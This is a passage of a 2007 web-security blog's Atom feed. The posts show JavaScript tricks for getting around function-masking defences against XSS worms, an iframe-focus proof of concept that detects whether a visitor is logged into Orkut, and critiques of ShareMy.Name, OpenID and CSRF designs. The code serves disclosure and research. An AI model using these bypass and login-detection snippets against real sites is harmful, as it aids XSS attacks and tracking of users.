/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;recursive_delete (window[obj]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} catch (e){&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;recursive_delete (window);&lt;br /&gt;recursive_delete (document);&lt;br /&gt;extractXHR();&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;The other thing I could have done would be a recursive_extract function, which tried to extract everything from the window object of the iframe, but not everything is enumerable (e.g. XMLHttpRequest is not enumerable), so customized code could still possibly be needed.&lt;br /&gt;&lt;br /&gt;Also, the way reason the extraction works is because it executes before the page can fully load, and this causes the originating domain policy to not have kicked in yet, and so we can still get the window object. its probably not the same object as the one the page uses in the end though, but I think I might check it out.&lt;br /&gt;&lt;br /&gt;Essentially what that means for an attacker is that there is a &lt;i&gt;tiny&lt;/i&gt; chance that it won't work if the page is set up between the two Javascript instructions which append the iframe and extract the XMLHttpRequest object.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6402181393845079101?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6402181393845079101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6402181393845079101' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6402181393845079101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6402181393845079101'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/defyjs.html' title='defy.js'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1998401485702154918</id><published>2007-01-23T19:09:00.000+11:00</published><updated>2007-03-20T19:23:06.143+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>More Javascript Overloading</title><content type='html'>Well, as I mentioned in my last post, Jeremiah's idea of masking functions works quite well, but I left out the fact that it only works for the window object, so things like document.write() are still safe because document cannot be masked. try it:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;javascript:function document() {};&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And you get the error &lt;code&gt;Error: redeclaration of const document&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;As you can see, while I do call it masking when you override XMLHttpRequest by creating a function of the same name, it is really just redeclaring it inside the window context.&lt;br /&gt;&lt;br /&gt;So its effectively impossible to stop people writing to the document, and therefore creating an iframe and using it's XMLHttpRequest object.&lt;br /&gt;&lt;br /&gt;Now, thanks to Mook from irc.mozilla.org #js I've also found out that for everything other than XMLHttpRequest that you can over-write there also seems to be a property in window.__proto__ that does the same thing. Conveniently enough you can also create a function called __proto__ which blocks it.&lt;br /&gt;&lt;br /&gt;Also, just some assorted things about Javascript which I mentioned in previous articles I want to mention:&lt;br /&gt;&lt;br /&gt;When the submit() method gets replaced by a form element of the same name, you can still access it via the form.__proto__.submit() function, again; Thanks Mook.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1998401485702154918?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1998401485702154918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1998401485702154918' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1998401485702154918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1998401485702154918'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/more-javascript-overloading.html' title='More Javascript Overloading'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-9156579477244809369</id><published>2007-01-23T15:15:00.000+11:00</published><updated>2007-03-20T19:23:06.144+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Redeclaring Javascript Properties</title><content type='html'>Ok, so the title of this was originally "Don't we have memories for a reason?", and had a bit of a rant here, but I decided the rant part was a bit unwarranted and stupid (exceptionally stupid, really), so I've removed it so I don't subject anyone else to that crap. Anyway, on with the post:&lt;br /&gt;&lt;br /&gt;Jeremiah Grossman (who does some great work, actually), had the idea to stop XSS Worms by denying them access to some crucial functions like XMLHttpRequest() and createElement. You can read the whole post here: &lt;a href="http://jeremiahgrossman.blogspot.com/2007/01/preventing-csrf-when-vulnerable-to-xss.html"&gt;http://jeremiahgrossman.blogspot.com/2007/01/preventing-csrf-when-vulnerable-to-xss.html&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Now while I don't think people have attempted to do exactly that before, there were efforts to do the same thing to deny attackers access to cookies a while back, which used the same techniques which it turned out &lt;b&gt;could be easily subverted&lt;/b&gt;. Now this isn't my rant, things happen and people might not know about what has happened before, fair enough.&lt;br /&gt;&lt;br /&gt;But when &lt;a href="http://ha.ckers.org/blog/20061219/firefox-httponly-implementation-in-javascript/trackback/"&gt;people who know&lt;/a&gt; about what happened before and &lt;a href="http://ha.ckers.org/blog/20061219/firefox-httponly-implementation-in-javascript/trackback/#comment-9821"&gt;that it can be overwritten&lt;/a&gt; start &lt;a href="http://ha.ckers.org/blog/20070122/javascript-starwars/trackback/"&gt;saying that Jeremiah's idea works&lt;/a&gt; you've really got to wonder why we have memories if we don't use them.&lt;br /&gt;&lt;br /&gt;Oh, and here's some code to prove my point: (check your error console to see there are no errors, and the appropriate functions are being called)&lt;br /&gt;&lt;br /&gt;&lt;code&gt;javascript:window.__defineGetter__("open", function() { }); delete window.open; window.open("http://kuza55.blogspot.com/",null,"");&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;javascript:document.createElement = function () {}; delete document.createElement; var bold = document.createElement('b'); bold.innerHtml = 'createElement Works'; document.body.appendChild(bold);&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;javascript:document.__defineGetter__("write", function() { }); delete document.write; document.write('document.write works');&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;I also found it humorous that &lt;a href="http://jeremiahgrossman.blogspot.com/2007/01/preventing-csrf-when-vulnerable-to-xss.html#c5524555424066209484"&gt;someone was recommending using delete&lt;/a&gt; to remove the window element so that people could not call the function, instead of overwriting it.&lt;br /&gt;&lt;br /&gt;Ok, now onto some more interesting things. The idea that Jeremiah Proposed for getting rid of the XMLHttpRequest() object was quite a good one, because whenever we try to delete a function it doesn't work, we CANNOT delete functions; it seems you can only delete objects and properties.&lt;br /&gt;&lt;br /&gt;The documentation for the delete operator can be found here, it doesn't mention why we can't (or how to) delete functions though: &lt;a href="http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide:Operators:Special_Operators#delete"&gt;http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide:Operators:Special_Operators#delete&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So essentially that definitely works, so good job on coming up with that. Well, untill someone else figures out a way past that as well.&lt;br /&gt;&lt;br /&gt;But there are some fun things you can do like the following:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;function XMLHttpRequest() { }&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;iframe name='test' id='test' src='http://www.google.com/'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;var req = new window.frames.test.XMLHttpRequest();&lt;br /&gt;alert(req);&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;So if we can somehow create an iframe, with a name, we can circumvent it. We could also use an iframe created by advertising code, but that is limited by the fact that we would need to use window.frames, and the only things which you can't replace with functions are window, document, and possibly some other constants I can't remember right now.&lt;br /&gt;&lt;br /&gt;Disclaimer: I'm not saying that anyone who I've mentioned does bad work (and even when I was ranting, I wasn't saying that), but seriously, you were told about something once, do you need to be told again?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-9156579477244809369?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/9156579477244809369/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=9156579477244809369' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/9156579477244809369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/9156579477244809369'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/dont-we-have-memories-for-reason.html' title='Redeclaring Javascript Properties'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-9143237666287513057</id><published>2007-01-22T22:48:00.000+11:00</published><updated>2007-01-22T23:18:30.210+11:00</updated><title type='text'>Picking Brains With...Me; Brains Are Tasty</title><content type='html'>Well, Jungsonn started a series of "interviews with hackers, admins, programmers and other people from the security field. They are given a set of questions to answer." entitled "Picking Brains With..." today, and it seems like I've been his first target, so if anyone is interested, you can find if here: &lt;a href="http://www.jungsonnstudios.com/blog/?i=76&amp;bin=1001100"&gt;http://www.jungsonnstudios.com/blog/?i=76&amp;bin=1001100&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And while I obviously don't find it all that interesting reading things I wrote about myself, I'm definately quite eager to see who else he convinces to answer his questions, and their responses.&lt;br /&gt;&lt;br /&gt;Oh, and like I said; I'd really like to hear from anyone who wants to be a "hacker". I really want to know why you want to be a "hacker". What's so special about the word hacker that lures you?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-9143237666287513057?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/9143237666287513057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=9143237666287513057' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/9143237666287513057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/9143237666287513057'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/picking-brains-withme-brains-are-tasty.html' title='Picking Brains With...Me; Brains Are Tasty'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-7596912703470916086</id><published>2007-01-22T21:59:00.000+11:00</published><updated>2007-01-22T22:02:04.261+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='SSO'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>ShareMy.Name Design Issues</title><content type='html'>I've just posted a little article about some things that I think are currently wrong with OpenID implementations, so I thought it would be only fair to give the same treatment to ShareMy.Name - which admitedly isn't a SSO (Single Sign On) service, but it does provide a facility for easily giving out your data to everyone.&lt;br /&gt;&lt;br /&gt;First of all though, I'll give you some history of what I've personally seen. ShareMy.Name seems to have gone through several different phases from where they simply acted as a username/password and personal details depository so that other  sites didn't and so you would have to provide the same username and password to all sites, and a malicious (or hacked) site could get all your details, to where you needed to enter a regenerating accesskey (sort of like those two-factor ID things) to the current state where you get an accesskey assigned to you when you sign up, and send that key (supposedly) to ShareMy.Namen where if the accesskey matches an account, it asks you if you want to send the data the site has asked for back.&lt;br /&gt;&lt;br /&gt;You can see a demo here: &lt;a href="http://sharemy.name/test_sendback/"&gt;http://sharemy.name/test_sendback/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;They also give you a Javascript Bookmarklet which looks something like this:&lt;br /&gt;&lt;code&gt;javascript:document.cookie='accesskey=aNwluiUMqk;path=/';&lt;br /&gt;function r(){&lt;br /&gt;   document.forms['sharemyname'].accesskey.value='aNwluiUMqk';&lt;br /&gt;   document.forms['sharemyname'].action='http://sharemy.name/sendback/';&lt;br /&gt;   document.forms['sharemyname'].submit();&lt;br /&gt;}&lt;br /&gt;if(document.forms['sharemyname']) r(); else alert('We tried everything, your going to have to enter aNwluiUMqk manually; or, they do not support ShareMy.Name.');&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Which tries to send the request to Share.MyName so that you can verify whether or not you want to send certain details to the site.&lt;br /&gt;&lt;br /&gt;For the moment lets ignore the fact that you could just ask the user to input their accesskey in a form, and they would readily do it, or the fact that every site gets sent the accesskey, and assume that the bookmarklet is the only way to get the data, and the accesskey is not sent back.&lt;br /&gt;&lt;br /&gt;They give us the accesskey (when they set the cookie) no matter if the user agrees to give it to us on the sharemy.name page.&lt;br /&gt;&lt;br /&gt;But ignoring the fact that we are given the accesskey initially (this is an easy fix with no real ramifications - what is harder to fix is people overloading and subverting the page in such a way that the bookmarklet fails in its job), and the fact that users are encouraged to enter their accesskeys into unknown forms ('We tried everything, your going to have to enter aNwluiUMqk manually; or, they do not support ShareMy.Name.'), there is still the problem that the site is sent the accesskey by default.&lt;br /&gt;&lt;br /&gt;This is a problem, because when the user say gives the their First Name, Interests, and Accesskey, they are essentially giving the site all of their information, because there is no additional identification required to get information about the person other than the accesskey.&lt;br /&gt;&lt;br /&gt;And even more than that, since the key is permanent (from what I've seen) they have access to your data indefinately.&lt;br /&gt;&lt;br /&gt;Now I realise that this could all be fixed simply by requiring the user to be logged into their account when agreeing to share details, but I think without an expose on the ramifications of their current design, nothing will change. And its fun to write about the havoc one can wreak.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-7596912703470916086?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/7596912703470916086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=7596912703470916086' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7596912703470916086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7596912703470916086'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/sharemyname-design-issues.html' title='ShareMy.Name Design Issues'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-6155441432710630822</id><published>2007-01-22T09:57:00.000+11:00</published><updated>2007-01-22T10:19:02.956+11:00</updated><title type='text'>I won, I won, I won.....</title><content type='html'>I won a book! Anyway, yesterday I remembered the contests Sploitcast runs, and went and had a look at the one they'd released last friday, and to my surprise found the one that had been released on the day I'd gone canoeing hadn't been solved, a couple of hours later: &lt;a href="http://www.sploitcast.com/"&gt;http://www.sploitcast.com/&lt;/a&gt; (Scroll down to the News Section) I solved the &lt;a href="http://bigcorp.selfip.biz/"&gt;challenge&lt;/a&gt; (by finding a copy of purchase_report.txt), and it seems I was the first. So now I get a free Syngress Publishing book.&lt;br /&gt;&lt;br /&gt;I chose to get RFID Security by Frank Thornton, Brad Haines and John Kleinschmidt, which should be interesting once it gets shipped out to me.&lt;br /&gt;&lt;br /&gt;If anyone is bored, I suggest they go try out the challenge (even though you won't win anything), its an interesting one.&lt;br /&gt;&lt;br /&gt;Oh, and if anyone is subscribed to the RSS feed (I think there are a very small few) and you don't want to read about crap like this, just subscribe to the "Security (All)" feed, which won't contain anything other than security articles.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-6155441432710630822?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/6155441432710630822/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=6155441432710630822' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6155441432710630822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/6155441432710630822'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/i-won-i-won-i-won.html' title='I won, I won, I won.....'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-5628418886324471369</id><published>2007-01-21T11:25:00.000+11:00</published><updated>2007-01-21T11:41:25.308+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='SSO'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Insecure OpenID 'Features'</title><content type='html'>Note: I wrote this a while ago, and I haven't gone over it completely, but I thought it would be worth posting about.&lt;br /&gt;&lt;br /&gt;I read about &lt;a href="http://en.wikipedia.org/wiki/OpenID"&gt;OpenID&lt;/a&gt; a while ago, when my friend asked me what I thought of it from a security perspective, and from what I could tell from the documentation, except for DNS issues it wasn't a bad decentralized authentication protocol. And I didn't do any further research into it until I came a blog entry describing how it worked in practice &lt;a href="(http://www.readwriteweb.com/archives/openid_vs_bigco.php"&gt;http://www.readwriteweb.com/archives/openid_vs_bigco.php&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;In that article/flash 'demo' I saw that as with any protocol, developers can come up with great 'features' which damage the security of the protocol. And this isn't one OpenID provider deciding to add an insecure feature, either, it is one that is common throughout the 3 OpenID providers mentioned in the article, which I assume are the most popular ones being used (why else would a blogger mention them?).&lt;br /&gt;&lt;br /&gt;Now, what is this feature I feel should not exist? It is the feature to set a site to be able to accept your credentials without you having to enter your OpenID password, and since your OpenID provider does not provide these details to the host, they do &lt;br /&gt;&lt;br /&gt;Of course, you still need to be logged into your OpenID provider, but since you're meant to be using this login for several sites, its not too much of a stretch to believe that you're going to be logged in all the time you're online - which is quite a large time frame. And if we consider that most sites will these days tell other users when a person is online, or allow you to reveal that fact yourself via posting comments, photos, etc, its not too difficult.&lt;br /&gt;&lt;br /&gt;But enough about the feature itself; what does it mean to us? This means that an attacker can log you into any site you decided to trust via CSRF attacks because the site cannot tell if you've entered a password. Now this might not seem important, but it is very important for both large and targeted attacks because the user no longer needs to be logged into the service you want to attack, but merely logged into the central service.&lt;br /&gt;&lt;br /&gt;Even worse, this fact is completely misrepresented to users. The questions that are posed essentially revolve around whether you trust the site that wants to verify your identity, and whether or not your OpenID provider should always verify your identity to this source, so even if a user is generally cautious about these kind of things, if something like an email provider started using this a user would be more likely to trust the site, and cause security issues. Essentially the more critical the information you are accessing the more likely to trust the site you are trying to access, and so the more critical sites are the ones which will have issues with this; lets just hope they don't use OpenID though, because leaving DNS security, essentially up to your users, is as about the worst idea anyone could come up with, but that's another rant altogether.&lt;br /&gt;&lt;br /&gt;For reference, the 3 OpenID providers I tested were:&lt;br /&gt;&lt;br /&gt;http://www.myopenid.com/ where users are asked if they want to allow the site they want to log into to be able to verify their identity, and the insecure answer is "Allow Forever"&lt;br /&gt;&lt;br /&gt;http://www.claimid.com/  where users are asked if they want to log into a site, and the insecure answer is "Login and Trust"&lt;br /&gt;&lt;br /&gt;http://www.videntity.org/  where users are asked if they trust the remote site with their identity, and the insecure answer is "Yes, and don't ask me Again"&lt;br /&gt;&lt;br /&gt;Another insecure 'feature' is the lack of need to enter a password to register for a site. Out of those 3 OpenID vendors, only http://www.claimid.com/ asked users for a password when registering for a site, the other two had only CSRF protections. This is admittedly not particularly serious because you still need an XSS (or similar) flaw in the OpenID provider's site before you can take advantage of the design idea, but it is rather worrying that people designing secure systems don't seem to want to implement defence in depth.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-5628418886324471369?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/5628418886324471369/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=5628418886324471369' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5628418886324471369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/5628418886324471369'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/insecure-openid-features.html' title='Insecure OpenID &apos;Features&apos;'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4064993225635796467</id><published>2007-01-21T10:30:00.000+11:00</published><updated>2007-01-22T09:40:18.147+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Detecting Javascript .focus() in iframes to Detect Logged In Status (IE only)</title><content type='html'>I've been playing around with a lot of ways to detect if users are logged in, but I haven't published many of them so here's yet another way to detect if users are logged in.&lt;br /&gt;&lt;br /&gt;One thing many sites (google sites in this example) do is use the Object.focus() method to set the focus to a login form.&lt;br /&gt;&lt;br /&gt;And in IE; if the object getting focused on is in an iframe, the iframe also gets focused on, which is an event which we can easily detect, so if we have an iframe to which there is no way a user can themselves set the focus to, and it gains focus, this should tell us that the content of the iframe set the focus to something, and the user is therefore not logged in, if after a few seconds of it being loaded but not gaining focus we can very safely assume it didn't try to, and the user is therefore logged in.&lt;br /&gt;&lt;br /&gt;Here's a quick PoC for Orkut:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;var logged = true;&lt;br /&gt;function check () {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (logged == true) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert('You ARE logged into orkut');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;iframe src="https://www.orkut.com/News.aspx" onFocus="if (logged == true) { alert('You are NOT logged into Orkut.'); logged = false;}" onLoad="window.setTimeout ('check()', 1000);" width=0 height=0&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4064993225635796467?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4064993225635796467/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4064993225635796467' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4064993225635796467'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4064993225635796467'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/detecting-javascript-focus-in-iframes.html' title='Detecting Javascript .focus() in iframes to Detect Logged In Status (IE only)'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-2478419052242081999</id><published>2007-01-21T09:41:00.000+11:00</published><updated>2007-01-21T10:30:20.670+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>On Stefan Esser's CSRF Protection Idea</title><content type='html'>A while ago I read a post entitled &lt;a href="http://blog.php-security.org/archives/48-CSRF-protections-are-not-doomed-by-XSS.html"&gt;CSRF protections are not doomed by XSS&lt;/a&gt; by Stefan Esser which proposed an interesting method of using domain boundaries to stop an XSS hole in the main domain being used to extract form tokens and circumvent CSRF protections, and it would even go so far as being able to stop an XSS vuln in one form being able to circumvent the CSRF protections of another.&lt;br /&gt;&lt;br /&gt;And even if it is more difficult to implement than simple token protections, it is still feasible if you use a wildcard DNS entry, and have a check on each form which checks if the $_SERVER['HTTP_HOST'] is the appropriate one, and if not then redirect to the appropriate one.&lt;br /&gt;&lt;br /&gt;And I was even going to implement an example, until I realised one simple flaw; its all still hosted on the same server, and the only thing separating it is the HTTP Host header which can easily be forged via XMLHttpRequest or FlashRequest, so this protection can easily be beaten.&lt;br /&gt;&lt;br /&gt;Which got me thinking; what would you need to add for it to work as intended? Well, you could put all the forms on separate servers, but that doesn't seem at all practical, the only really viable solution is to add more authentication mechanisms which are readable only by the specific subdomain and no others.&lt;br /&gt;&lt;br /&gt;And thats really the biggest issue - you have to create an extra session key for every single form you have on your site, and set a cookie for them, and they all have to be set at login, and can never be regenerated because XMLHttpRequest and (possibly) FlashRequest can read response headers and extract the cookies being set on subdomains.&lt;br /&gt;&lt;br /&gt;So while it is still of course possible to implement this, it seems completely impractical to create yet &lt;i&gt;another&lt;/i&gt; session id which the server has to keep track of for every single form.&lt;br /&gt;&lt;br /&gt;But if anyone has actually implemented something similar to this in any environment I'd really love to hear about it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-2478419052242081999?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/2478419052242081999/comments/default' 